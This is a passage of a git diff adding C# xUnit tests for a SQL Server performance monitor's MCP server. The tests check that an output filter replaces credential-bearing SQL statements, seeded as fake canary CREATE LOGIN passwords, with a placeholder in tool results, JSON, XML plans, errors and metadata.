+/// <c>DARLING_OUTPUT_FORMAT=gcf</c>, so the slot the filter holds in that list is part of what is pinned: placed
+/// before GCF it would read a GCF wire instead of the tool's JSON, and the canary would come back.
+/// </summary>
+[Collection("DarlingOutputFormatEnv")]
+public sealed class SensitiveStatementHostFilterTests : IDisposable
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    public SensitiveStatementHostFilterTests() =>
+        Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", null);
+
+    public void Dispose() => Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", null);
+
+    /// <summary>Eight uniform rows, so a GCF wire is smaller than the JSON and GCF really re-encodes the answer.
+    /// Row 1 carries the canary, row 2 a canary with a line feed between CREATE and LOGIN (a GCF wire escapes the
+    /// line feed, which defeats the filter's token match), the rest are plain.</summary>
+    private static string CanaryRows()
+    {
+        var rows = new JsonArray();
+        for (int i = 0; i < 8; i++)
+        {
+            string text = i switch
+            {
+                1 => StatementScrubCanary.CanaryStatement,
+                2 => "CREATE\nLOGIN [canary_split_ssf] WITH PASSWORD = N'S3cret-canary-ssf'",
+                _ => StatementScrubCanary.PlainStatement,
+            };
+            rows.Add(new JsonObject { ["query_text"] = text, ["executions"] = 100 + i, ["avg_ms"] = 10 + i });
+        }
+
+        return new JsonObject { ["rows"] = rows }.ToJsonString();
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task TheHostsRealFilterList_WithholdsTheCanaryPrecisely_WithAndWithoutGcf(bool gcf)
+    {
+        Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", gcf ? "gcf" : null);
+        // gcf: null = the production wiring, the environment variable (#5320); the census default pins plain output
+        using var server = await StatementFilterCensus.BuildHostAsync(gcf: null);
+        string raw = CanaryRows();
+        StatementFilterCensus.AssertRawHoldsTheCanary(raw);
+        if (gcf)
+        {
+            // the precondition: with nothing swept, GCF really re-encodes this answer, so the order is under test
+            Assert.NotNull(GcfOutput.TryEncode(raw));
+        }
+
+        var (text, isError) = await StatementFilterCensus.FilterThroughHostAsync(server, raw);
+
+        Assert.False(isError);
+        StatementFilterCensus.AssertFilteredWithholdsTheCanary(raw, text);
+        Assert.DoesNotContain("canary_ssf", text);
+        Assert.DoesNotContain("canary_split_ssf", text);
+        Assert.Equal(gcf, !LooksLikeJson(text));
+
+        // precise: the two canary rows are the marker and the six plain rows are untouched, in either encoding
+        Assert.Equal(2, Count(text, Marker));
+        Assert.Equal(6, Count(text, "canary_plain_ssf"));
+        if (!gcf)
+        {
+            var rows = JsonNode.Parse(text)!["rows"]!.AsArray();
+            Assert.Equal(8, rows.Count);
+            Assert.Equal(Marker, (string?)rows[1]!["query_text"]);
+            Assert.Equal(Marker, (string?)rows[2]!["query_text"]);
+            foreach (int i in new[] { 0, 3, 4, 5, 6, 7 })
+            {
+                Assert.Equal(StatementScrubCanary.PlainStatement, (string?)rows[i]!["query_text"]);
+            }
+        }
+    }
+
+    /// <summary>#5320: the census host's format is pinned, so the environment variable (which another class in this
+    /// collection, or a live class running beside it, may have set) cannot change what a census answer looks like. Pinned
+    /// plain output returns a page with no hit byte for byte, while the variable says gcf.</summary>
+    [Fact]
+    public async Task APinnedPlainHost_ReturnsAPageWithNoHitUnchanged_EvenWhileTheEnvironmentSaysGcf()
+    {
+        Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", "gcf");
+        using var server = await StatementFilterCensus.BuildHostAsync(gcf: false);
+        string clean = CleanRows();
+        Assert.NotNull(GcfOutput.TryEncode(clean)); // the precondition: an unpinned GCF host WOULD re-encode this page
+
+        var (text, isError) = await StatementFilterCensus.FilterThroughHostAsync(server, clean);
+
+        Assert.False(isError);
+        Assert.Equal(clean, text);
+    }
+
+    /// <summary>#5320: the other pin. GCF pinned ON re-encodes the answer whatever the variable says, the filter still
+    /// reads the tool's own JSON first (it sits next to the tool), and so a hit is still the marker after GCF encoding.</summary>
+    [Fact]
+    public async Task APinnedGcfHost_StillWithholdsTheCanary_AfterGcfEncoding_WhileTheEnvironmentIsUnset()
+    {
+        Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", null);
+        using var server = await StatementFilterCensus.BuildHostAsync(gcf: true);
+        string raw = CanaryRows();
+        StatementFilterCensus.AssertRawHoldsTheCanary(raw);
+        Assert.NotNull(GcfOutput.TryEncode(raw));
+
+        var (text, isError) = await StatementFilterCensus.FilterThroughHostAsync(server, raw);
+
+        Assert.False(isError);
+        Assert.False(LooksLikeJson(text), "the pinned-on host did not GCF-encode the answer");
+        StatementFilterCensus.AssertFilteredWithholdsTheCanary(raw, text);
+        Assert.DoesNotContain("canary_ssf", text);
+        Assert.DoesNotContain("canary_split_ssf", text);
+        Assert.Equal(2, Count(text, Marker));
+        Assert.Equal(6, Count(text, "canary_plain_ssf"));
+    }
+
+    /// <summary>Eight uniform plain rows: nothing for the filter to withhold, and big enough for GCF to be smaller.</summary>
+    private static string CleanRows()
+    {
+        var rows = new JsonArray();
+        for (int i = 0; i < 8; i++)
+        {
+            rows.Add(new JsonObject
+            {
+                ["id"] = i,
+                ["database_name"] = "db_" + i,
+                ["query_text"] = StatementScrubCanary.PlainStatement,
+                ["duration_ms"] = 100 + i,
+            });
+        }
+
+        return new JsonObject { ["rows"] = rows }.ToJsonString();
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task AnErrorResultThroughTheHostsRealFilterList_IsSwept_AndStaysAnError(bool gcf)
+    {
+        Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", gcf ? "gcf" : null);
+        // gcf: null = the production wiring, the environment variable (#5320); the census default pins plain output
+        using var server = await StatementFilterCensus.BuildHostAsync(gcf: null);
+        string raw = new JsonObject
+        {
+            ["status"] = "error",
+            ["message"] = StatementScrubCanary.CanaryStatement,
+        }.ToJsonString();
+
+        var (text, isError) = await StatementFilterCensus.FilterThroughHostAsync(server, raw, isError: true);
+
+        Assert.True(isError);
+        StatementFilterCensus.AssertFilteredWithholdsTheCanary(raw, text);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task AnMcpExceptionThatNamesAStatement_ThroughTheHostsRealFilterList_ReachesTheClientSwept(bool gcf)
+    {
+        // L1: the SDK builds an error result from a thrown McpException's message OUTSIDE the result sweep, so the
+        // filter has to catch the exception itself. Without that catch the client reads the canary in the message.
+        Environment.SetEnvironmentVariable("DARLING_OUTPUT_FORMAT", gcf ? "gcf" : null);
+        using var server = await StatementFilterCensus.BuildHostAsync();
+        string message = StatementScrubCanary.CanaryStatement;
+
+        var (text, isError) = await StatementFilterCensus.CallRealToolAsync(
+            server, StatementFilterCensus.ThrowProbeName, new JsonObject { ["message"] = message });
+
+        Assert.True(isError);
+        StatementFilterCensus.AssertFilteredWithholdsTheCanary(message, text);
+    }
+
+    [Fact]
+    public async Task AnMcpExceptionThatNamesNoStatement_ThroughTheHostsRealFilterList_KeepsItsMessage()
+    {
+        using var server = await StatementFilterCensus.BuildHostAsync();
+
+        var (text, isError) = await StatementFilterCensus.CallRealToolAsync(
+            server, StatementFilterCensus.ThrowProbeName, new JsonObject { ["message"] = "server_name is required" });
+
+        Assert.True(isError);
+        Assert.Contains("server_name is required", text);
+        Assert.DoesNotContain(Marker, text);
+    }
+
+    [Fact]
+    public async Task AnalyzePlanXmlOnTheCanaryPlan_ThroughTheHost_WithholdsStatementOneAndKeepsStatementTwo()
+    {
+        using var server = await StatementFilterCensus.BuildHostAsync();
+        string plan = StatementScrubCanary.CanaryPlan();
+
+        var (text, isError) = await StatementFilterCensus.CallRealToolAsync(
+            server, "analyze_plan_xml", new JsonObject { ["plan_xml"] = plan });
+
+        Assert.False(isError);
+        StatementFilterCensus.AssertFilteredWithholdsTheCanary(plan, text);
+        JsonNode.Parse(text);
+    }
+
+    [Fact]
+    public async Task TheFilterAlsoCoversTheCoreEndpoint_AndTheToolsAddedSincePlanning()
+    {
+        using var server = await StatementFilterCensus.BuildHostAsync();
+
+        // The filter list is global to the host, so a tool added after the plan is swept by the same registration.
+        // Pin that the newer tool is served at all, so the claim is about a tool this host really dispatches.
+        Assert.Contains("get_query_store_query_history", await StatementFilterCensus.ListToolNamesAsync(server));
+
+        var (text, isError) = await StatementFilterCensus.CallRealToolAsync(
+            server, "get_tool_guide", new JsonObject(), "/core");
+        Assert.False(isError);
+        JsonNode.Parse(text);
+    }
+
+    [Fact]
+    public async Task EveryGetToolGuideTopic_IsByteIdenticalThroughTheSweep_AndThroughTheHost()
+    {
+        using var server = await StatementFilterCensus.BuildHostAsync();
+        var catalog = server.Services.GetRequiredService<McpToolGuideCatalog>();
+        var topics = McpToolGuideTopics.All;
+        Assert.NotEmpty(topics);
+
+        foreach (string? name in topics.Select(t => t.Name).Prepend(null))
+        {
+            string[]? names = name is null ? null : new[] { name };
+            string rendered = McpToolGuide.Render(catalog, topics, null, names);
+
+            // through the sweep alone: the very same text, not an equal copy
+            var swept = SensitiveStatementOutputFilter.Sweep(new ModelContextProtocol.Protocol.CallToolResult
+            {
+                Content = new System.Collections.Generic.List<ModelContextProtocol.Protocol.ContentBlock> { new ModelContextProtocol.Protocol.TextContentBlock { Text = rendered } },
+            });
+            Assert.Same(rendered, ((ModelContextProtocol.Protocol.TextContentBlock)swept.Content[0]).Text);
+
+            // through the host's whole registered list
+            var args = new JsonObject();
+            if (names is not null) args["topics"] = new JsonArray(JsonValue.Create(name));
+            var (text, isError) = await StatementFilterCensus.CallRealToolAsync(server, "get_tool_guide", args);
+            Assert.False(isError);
+            Assert.Equal(rendered, text);
+        }
+    }
+
+    [Fact]
+    public void TheHostRegistersTheStatementFilterLast_AfterGcf()
+    {
+        string source = File.ReadAllText(HostSourcePath());
+        int gcf = source.IndexOf("AddCallToolFilter(GcfCallToolFilter.Instance)", StringComparison.Ordinal);
+        int sweep = source.IndexOf("AddCallToolFilter(SensitiveStatementOutputFilter.Instance)", StringComparison.Ordinal);
+
+        Assert.True(gcf > 0, "the host no longer registers GCF through AddCallToolFilter(GcfCallToolFilter.Instance)");
+        Assert.True(sweep > gcf, "the statement filter must be registered AFTER GCF: the last-added filter sits next to the tool");
+        Assert.Equal(sweep, source.LastIndexOf(".AddCallToolFilter(", StringComparison.Ordinal) + 1);
+        Assert.Equal(2, source.Split("AddCallToolFilter(SensitiveStatementOutputFilter.Instance)").Length);
+    }
+
+    private static bool LooksLikeJson(string text)
+    {
+        try
+        {
+            JsonDocument.Parse(text).Dispose();
+            return true;
+        }
+        catch (JsonException)
+        {
+            return false;
+        }
+    }
+
+    private static int Count(string text, string needle)
+    {
+        int count = 0;
+        for (int at = text.IndexOf(needle, StringComparison.Ordinal); at >= 0;
+             at = text.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+
+    private static string HostSourcePath()
+    {
+        string? dir = AppContext.BaseDirectory;
+        while (dir is not null && !Directory.Exists(Path.Combine(dir, "Darling", "PerformanceMonitor.Darling.Service")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        if (dir is null) throw new InvalidOperationException("The repository root was not found above the test binaries.");
+        return Path.Combine(dir, "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpHostService.cs");
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementJsonTests.cs b/Darling/Darling.Tests/SensitiveStatementJsonTests.cs
new file mode 100644
index 0000000000..432f7c2fd8
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementJsonTests.cs
@@ -0,0 +1,299 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+using System.Text.Json.Nodes;
+using System.Xml.Linq;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the JSON walk of the statement filter, run with fake judges so only the mechanics are under test: which
+/// strings reach which judge, what a replaced key looks like, when the original instance comes back, and what
+/// happens when a judge throws.
+/// </summary>
+public sealed class SensitiveStatementJsonTests
+{
+    private readonly ITestOutputHelper _output;
+
+    public SensitiveStatementJsonTests(ITestOutputHelper output) => _output = output;
+
+    private const string Marker = "[withheld]";
+    private const string Refusal = "Output withheld: test refusal.";
+
+    private sealed class Recorder
+    {
+        public readonly List<string> TextCalls = new();
+        public readonly List<string> XmlCalls = new();
+
+        public string? Text(string? s)
+        {
+            TextCalls.Add(s ?? "<null>");
+            return s != null && s.Contains("SECRET", StringComparison.Ordinal) ? Marker : s;
+        }
+
+        public string? Xml(string? s)
+        {
+            XmlCalls.Add(s ?? "<null>");
+            return s != null && s.Contains("SECRET", StringComparison.Ordinal) ? "<x/>" : s;
+        }
+
+        public string Run(string output) => SensitiveStatements.JsonCore(output, Text, Xml, Refusal);
+    }
+
+    [Fact]
+    public void NestedObjectsAndArraysAreWalked()
+    {
+        var r = new Recorder();
+        string output = "{\"a\":{\"b\":[\"first SECRET value\",{\"c\":\"keep this one\",\"d\":[\"deep SECRET text\"]}],\"n\":7},\"flag\":true,\"nothing\":null}";
+
+        string result = r.Run(output);
+
+        Assert.Equal(
+            "{\"a\":{\"b\":[\"" + Marker + "\",{\"c\":\"keep this one\",\"d\":[\"" + Marker + "\"]}],\"n\":7},\"flag\":true,\"nothing\":null}",
+            result);
+    }
+
+    [Fact]
+    public void AngleFirstValuesGoToXmlAndOthersGoToText()
+    {
+        var r = new Recorder();
+        string output = "{\"plan\":\"  <ShowPlanXML>SECRET</ShowPlanXML>\",\"short_xml\":\"<a/>\",\"stmt\":\"select SECRET from t\",\"tiny\":\"abcd\",\"number\":12345}";
+
+        string result = r.Run(output);
+
+        Assert.Equal(new[] { "  <ShowPlanXML>SECRET</ShowPlanXML>", "<a/>" }, r.XmlCalls);
+        Assert.DoesNotContain(r.TextCalls, c => c.StartsWith("  <", StringComparison.Ordinal) || c == "<a/>");
+        Assert.Contains("select SECRET from t", r.TextCalls);
+        Assert.DoesNotContain("abcd", r.TextCalls);
+        Assert.DoesNotContain("12345", r.TextCalls);
+        var node = JsonNode.Parse(result)!.AsObject();
+        Assert.Equal("<x/>", (string?)node["plan"]);
+        Assert.Equal("<a/>", (string?)node["short_xml"]);
+        Assert.Equal(Marker, (string?)node["stmt"]);
+        Assert.Equal("abcd", (string?)node["tiny"]);
+        Assert.Equal(12345, (int?)node["number"]);
+    }
+
+    [Fact]
+    public void NamedKeyBecomesMarkerWithPositionAndKeysStayUnique()
+    {
+        var r = new Recorder();
+        string output = "{\"keep\":1,\"SECRET_key_one\":\"v1\",\"SECRET_key_two\":\"v2\",\"plain_key\":\"v3\"}";
+
+        string result = r.Run(output);
+
+        Assert.Equal("{\"keep\":1,\"" + Marker + "#1\":\"v1\",\"" + Marker + "#2\":\"v2\",\"plain_key\":\"v3\"}", result);
+        var keys = JsonNode.Parse(result)!.AsObject().Select(p => p.Key).ToList();
+        Assert.Equal(keys.Count, keys.Distinct(StringComparer.Ordinal).Count());
+    }
+
+    [Fact]
+    public void ValueOfANamedKeyIsStillJudged()
+    {
+        var r = new Recorder();
+
+        string result = r.Run("{\"SECRET_key_name\":\"also SECRET value\"}");
+
+        Assert.Equal("{\"" + Marker + "#0\":\"" + Marker + "\"}", result);
+    }
+
+    [Fact]
+    public void NamedKeysInNestedObjectsUseTheirOwnPosition()
+    {
+        var r = new Recorder();
+
+        string result = r.Run("{\"x\":[{\"a\":1,\"b\":2,\"SECRET_nested_key\":3}]}");
+
+        Assert.Equal("{\"x\":[{\"a\":1,\"b\":2,\"" + Marker + "#2\":3}]}", result);
+    }
+
+    [Fact]
+    public void RootStringIsJudged()
+    {
+        var r = new Recorder();
+
+        Assert.Equal("\"" + Marker + "\"", r.Run("\"root SECRET text\""));
+    }
+
+    [Fact]
+    public void NothingChangedReturnsTheOriginalInstance()
+    {
+        var r = new Recorder();
+        // Pretty-printed on purpose: unchanged output must not be re-serialized into the compact form.
+        string output = "{\n  \"a\": [ \"nothing to see here\", 1, 2 ],\n  \"b\": { \"c\": \"<plan/>\" }\n}";
+
+        string result = r.Run(output);
+
+        Assert.Same(output, result);
+    }
+
+    [Fact]
+    public void ChangedOutputIsReserializedWithTheMcpOptions()
+    {
+        var r = new Recorder();
+        string output = "{\n  \"a\" : \"SECRET text here\",\n  \"b\" : [ 1, 2 ]\n}";
+
+        string result = r.Run(output);
+
+        Assert.Equal("{\"a\":\"" + Marker + "\",\"b\":[1,2]}", result);
+    }
+
+    [Fact]
+    public void JsonThatDoesNotParse_GivesTheRefusal_NotAJudgmentOfTheEscapedText()
+    {
+        // A cut object, and an array nested past the parser's default depth: both start like JSON and are not.
+        // Judged as text they would be the escaped form (a line break is the two characters \r\n), which a pattern
+        // written for the decoded statement does not match, so the raw output would come back.
+        string deep = new string('[', 70) + "\"x\"" + new string(']', 70);
+        foreach (string output in new[] { "{\"a\":\"CREATE\\r\\nSECRET x\"", "  [\"CREATE\\r\\nSECRET x\"", deep })
+        {
+            var r = new Recorder();
+            Assert.Equal(Refusal, r.Run(output));
+            Assert.Empty(r.TextCalls);
+            Assert.Empty(r.XmlCalls);
+        }
+    }
+
+    [Fact]
+    public void NonJsonIsJudgedWhole()
+    {
+        var r = new Recorder();
+
+        string plainText = "Error: SECRET statement text, not json";
+        Assert.Equal(Marker, r.Run(plainText));
+        Assert.Equal(new[] { plainText }, r.TextCalls);
+        Assert.Empty(r.XmlCalls);
+
+        var r2 = new Recorder();
+        string plan = "\r\n  <ShowPlanXML>SECRET</ShowPlanXML>";
+        Assert.Equal("<x/>", r2.Run(plan));
+        Assert.Equal(new[] { plan }, r2.XmlCalls);
+        Assert.Empty(r2.TextCalls);
+    }
+
+    [Fact]
+    public void NonJsonThatIsCleanComesBackAsTheSameInstance()
+    {
+        var r = new Recorder();
+        string plain = "No server named that is registered.";
+        string plan = "<ShowPlanXML>clean</ShowPlanXML>";
+
+        Assert.Same(plain, r.Run(plain));
+        Assert.Same(plan, r.Run(plan));
+    }
+
+    [Fact]
+    public void AThrowingJudgeGivesExactlyTheRefusalArgument()
+    {
+        Func<string?, string?> boom = _ => throw new InvalidOperationException("judge failed");
+        Func<string?, string?> ok = s => s;
+
+        // text judge: a value, a key, and a whole non-JSON output.
+        Assert.Equal(Refusal, SensitiveStatements.JsonCore("{\"a\":\"some statement text\"}", boom, ok, Refusal));
+        Assert.Equal(Refusal, SensitiveStatements.JsonCore("{\"some_long_key\":1}", boom, ok, Refusal));
+        Assert.Equal(Refusal, SensitiveStatements.JsonCore("plain text output", boom, ok, Refusal));
+        // xml judge: a value and a whole output.
+        Assert.Equal(Refusal, SensitiveStatements.JsonCore("{\"a\":\"<plan/>\"}", ok, boom, Refusal));
+        Assert.Equal(Refusal, SensitiveStatements.JsonCore("<plan/>", ok, boom, Refusal));
+        // a different refusal argument comes back verbatim.
+        Assert.Equal("other sentence", SensitiveStatements.JsonCore("<plan/>", ok, boom, "other sentence"));
+    }
+
+    [Fact]
+    public void AJudgeThatReturnsNullForWholeOutputGivesTheRefusal()
+    {
+        Func<string?, string?> nul = _ => null;
+
+        Assert.Equal(Refusal, SensitiveStatements.JsonCore("plain text output", nul, nul, Refusal));
+    }
+
+    [Fact]
+    public void EmptyOutputIsReturnedAsIs()
+    {
+        var r = new Recorder();
+
+        Assert.Same(string.Empty, r.Run(string.Empty));
+        Assert.Empty(r.TextCalls);
+    }
+
+    [Fact]
+    public void CanaryPlanParsesWithThreeStatementsAndEveryNeedle()
+    {
+        string plan = StatementScrubCanary.CanaryPlan();
+
+        var doc = XDocument.Parse(plan);
+        Assert.Equal(3, doc.Descendants().Count(e => e.Name.LocalName == "StmtSimple"));
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.Contains(needle, plan);
+        foreach (string needle in StatementScrubCanary.KeptNeedles) Assert.Contains(needle, plan);
+
+        var texts = doc.Descendants().Where(e => e.Name.LocalName == "StmtSimple")
+            .Select(e => (string?)e.Attribute("StatementText")).ToList();
+        Assert.Equal(StatementScrubCanary.CanaryStatement, texts[0]);
+        Assert.Equal(StatementScrubCanary.PlainStatement, texts[1]);
+        Assert.Equal(StatementScrubCanary.AutoParamStatement, texts[2]);
+        Assert.Contains("S3cret-canary-ssf", StatementScrubCanary.CanaryStatement);
+        Assert.Contains("canary_plain_ssf", StatementScrubCanary.PlainStatement);
+    }
+
+    [Fact]
+    public void CanaryPlanInsideJsonReachesTheXmlJudge()
+    {
+        var r = new Recorder();
+        string plan = StatementScrubCanary.CanaryPlan();
+        string output = new JsonObject { ["plan_xml"] = plan, ["note"] = "no statement here" }.ToJsonString();
+
+        Assert.Same(output, r.Run(output));
+        Assert.Equal(new[] { plan }, r.XmlCalls);
+    }
+
+    /// <summary>
+    /// Measurement for the lane report, not a gate: the walk's own cost with identity judges on a 1 MB, 200-row
+    /// response. It asserts only that identity judges leave the output untouched.
+    /// </summary>
+    [Fact]
+    public void MeasureWalkCostWithIdentityJudges()
+    {
+        var rows = new JsonArray();
+        string filler = new string('x', 5000);
+        for (int i = 0; i < 200; i++)
+        {
+            rows.Add(new JsonObject
+            {
+                ["id"] = i,
+                ["query_text"] = "select " + filler + " from dbo.t where c = " + i,
+                ["query_plan"] = "<ShowPlanXML>" + filler.Substring(0, 100) + "</ShowPlanXML>",
+                ["database_name"] = "db" + i,
+            });
+        }
+        string output = new JsonObject { ["rows"] = rows }.ToJsonString();
+        Assert.InRange(Encoding.UTF8.GetByteCount(output), 1_000_000, 1_300_000);
+
+        Func<string?, string?> identity = s => s;
+        Assert.Same(output, SensitiveStatements.JsonCore(output, identity, identity, Refusal));
+
+        var times = new List<double>();
+        for (int run = 0; run < 20; run++)
+        {
+            long start = Stopwatch.GetTimestamp();
+            string result = SensitiveStatements.JsonCore(output, identity, identity, Refusal);
+            times.Add(Stopwatch.GetElapsedTime(start).TotalMilliseconds);
+            Assert.Same(output, result);
+        }
+        times.Sort();
+        double median = (times[9] + times[10]) / 2;
+        string line = $"JsonCore identity walk, {Encoding.UTF8.GetByteCount(output)} bytes, 200 rows, 20 runs: median {median:F2} ms, min {times[0]:F2} ms, max {times[19]:F2} ms";
+        _output.WriteLine(line);
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementOutputFilterTests.cs b/Darling/Darling.Tests/SensitiveStatementOutputFilterTests.cs
new file mode 100644
index 0000000000..0910dadcd4
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementOutputFilterTests.cs
@@ -0,0 +1,629 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Xml.Linq;
+using ModelContextProtocol;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the MCP output filter, run through its real call-tool filter around a fake tool, so what is under test is
+/// what a client would receive: which strings come back as the marker, where the marker sits in the structure, that
+/// an error result is swept, how long a result that tries to run the judge out of time takes, and that the real
+/// plan analyzer's output is withheld for the canary statement and kept for the plain one.
+/// </summary>
+public sealed class SensitiveStatementOutputFilterTests
+{
+    private readonly ITestOutputHelper _output;
+
+    public SensitiveStatementOutputFilterTests(ITestOutputHelper output) => _output = output;
+
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    private static readonly string s_plainRow =
+        new JsonObject { ["query_text"] = StatementScrubCanary.PlainStatement, ["rows"] = 3 }.ToJsonString();
+
+    /// <summary>Runs <paramref name="result"/> through the real filter as a tool's return value.</summary>
+    private static async Task<CallToolResult> ThroughFilterAsync(CallToolResult result)
+    {
+        McpRequestHandler<CallToolRequestParams, CallToolResult> handler =
+            SensitiveStatementOutputFilter.Instance((_, _) => ValueTask.FromResult(result));
+        return await handler(null!, CancellationToken.None);
+    }
+
+    private static async Task<McpException> ThrownThroughFilterAsync(McpException thrown)
+    {
+        McpRequestHandler<CallToolRequestParams, CallToolResult> handler =
+            SensitiveStatementOutputFilter.Instance((_, _) => throw thrown);
+        return await Assert.ThrowsAnyAsync<McpException>(async () => await handler(null!, CancellationToken.None));
+    }
+
+    [Fact]
+    public async Task AThrownMcpException_IsRethrownWithItsMessageSwept_KeepingTypeCodeAndInnerException()
+    {
+        // L1: the SDK writes a thrown McpException's message into an error result outside the result sweep
+        var inner = new InvalidOperationException("inner");
+        var plain = await ThrownThroughFilterAsync(new McpException("server_name is required", inner));
+        Assert.Equal("server_name is required", plain.Message);
+
+        var swept = await ThrownThroughFilterAsync(new McpException(StatementScrubCanary.CanaryStatement, inner));
+        Assert.Equal(typeof(McpException), swept.GetType());
+        Assert.Same(inner, swept.InnerException);
+        Assert.Equal(Marker, swept.Message);
+
+        var protocol = await ThrownThroughFilterAsync(
+            new McpProtocolException(StatementScrubCanary.CanaryStatement, inner, McpErrorCode.InvalidParams));
+        var rethrown = Assert.IsType<McpProtocolException>(protocol);
+        Assert.Equal(McpErrorCode.InvalidParams, rethrown.ErrorCode);
+        Assert.Same(inner, rethrown.InnerException);
+        Assert.Equal(Marker, rethrown.Message);
+    }
+
+    private static CallToolResult Text(string text, bool? isError = null) => new()
+    {
+        Content = new List<ContentBlock> { new TextContentBlock { Text = text } },
+        IsError = isError,
+    };
+
+    private static string TextOf(CallToolResult r) => ((TextContentBlock)r.Content[0]).Text;
+
+    private static string Json(params (string Key, string Value)[] pairs)
+    {
+        var obj = new JsonObject();
+        foreach (var (key, value) in pairs) obj[key] = value;
+        return obj.ToJsonString();
+    }
+
+    // ── precise: the marker lands inside the structure, plain text is untouched ──
+
+    [Fact]
+    public async Task ACanaryStatementBecomesTheMarkerInsideTheStructure_APlainOneIsUnchanged()
+    {
+        string json = Json(
+            ("named", StatementScrubCanary.CanaryStatement),
+            ("plain", StatementScrubCanary.PlainStatement));
+
+        var result = await ThroughFilterAsync(Text(json));
+
+        var parsed = JsonNode.Parse(TextOf(result))!.AsObject();
+        Assert.Equal(Marker, (string?)parsed["named"]);
+        Assert.Equal(StatementScrubCanary.PlainStatement, (string?)parsed["plain"]);
+        Assert.Equal(2, parsed.Count);
+        Assert.DoesNotContain("S3cret-canary-ssf", TextOf(result));
+    }
+
+    [Fact]
+    public async Task ACreateAndLoginSplitByALineFeedIsWithheldToo()
+    {
+        string statement = "CREATE\nLOGIN [canary_lf_ssf] WITH PASSWORD = N'S3cret-lf-ssf'";
+        string json = Json(("sql_text", statement), ("note", "second value kept as is"));
+
+        var result = await ThroughFilterAsync(Text(json));
+
+        var parsed = JsonNode.Parse(TextOf(result))!.AsObject();
+        Assert.Equal(Marker, (string?)parsed["sql_text"]);
+        Assert.Equal("second value kept as is", (string?)parsed["note"]);
+        Assert.DoesNotContain("S3cret-lf-ssf", TextOf(result));
+    }
+
+    // ── blocks the filter cannot read are refused, and every block's _meta is swept ──
+
+    private static void AssertTheFixedRefusal(CallToolResult result)
+    {
+        Assert.True(result.IsError);
+        Assert.Single(result.Content);
+        Assert.Equal(SensitiveStatements.JsonRefusal, TextOf(result));
+        Assert.Null(result.StructuredContent);
+    }
+
+    [Fact]
+    public async Task ABlobResourceBlockBecomesTheFixedRefusal()
+    {
+        var blob = new BlobResourceContents
+        {
+            Uri = "file:///x",
+            MimeType = "text/plain",
+            Blob = System.Text.Encoding.UTF8.GetBytes(StatementScrubCanary.CanaryStatement),
+        };
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new TextContentBlock { Text = s_plainRow },
+                new EmbeddedResourceBlock { Resource = blob },
+            },
+        };
+
+        AssertTheFixedRefusal(await ThroughFilterAsync(original));
+    }
+
+    [Fact]
+    public async Task AResourceLinkBlockBecomesTheFixedRefusal()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new ResourceLinkBlock
+                {
+                    Uri = "file:///x",
+                    Name = StatementScrubCanary.CanaryStatement,
+                    Description = StatementScrubCanary.CanaryStatement,
+                },
+            },
+        };
+
+        var result = await ThroughFilterAsync(original);
+
+        AssertTheFixedRefusal(result);
+        Assert.DoesNotContain("S3cret-canary-ssf", TextOf(result));
+    }
+
+    [Fact]
+    public async Task ATextBlockCarryingACanaryInItsMetaHasTheCanaryWithheld()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new TextContentBlock
+                {
+                    Text = s_plainRow,
+                    Meta = new JsonObject { ["note"] = StatementScrubCanary.CanaryStatement, ["keep"] = "plain" },
+                },
+            },
+        };
+
+        var result = await ThroughFilterAsync(original);
+
+        var block = Assert.IsType<TextContentBlock>(result.Content[0]);
+        Assert.Equal(s_plainRow, block.Text);
+        Assert.Equal(Marker, (string?)block.Meta!["note"]);
+        Assert.Equal("plain", (string?)block.Meta["keep"]);
+        Assert.DoesNotContain("S3cret-canary-ssf", block.Meta.ToJsonString());
+    }
+
+    [Fact]
+    public async Task ACanaryInAnEmbeddedTextResourcesMetaOrTheResultsMetaIsWithheld()
+    {
+        var original = new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new EmbeddedResourceBlock
+                {
+                    Meta = new JsonObject { ["a"] = StatementScrubCanary.CanaryStatement },
+                    Resource = new TextResourceContents
+                    {
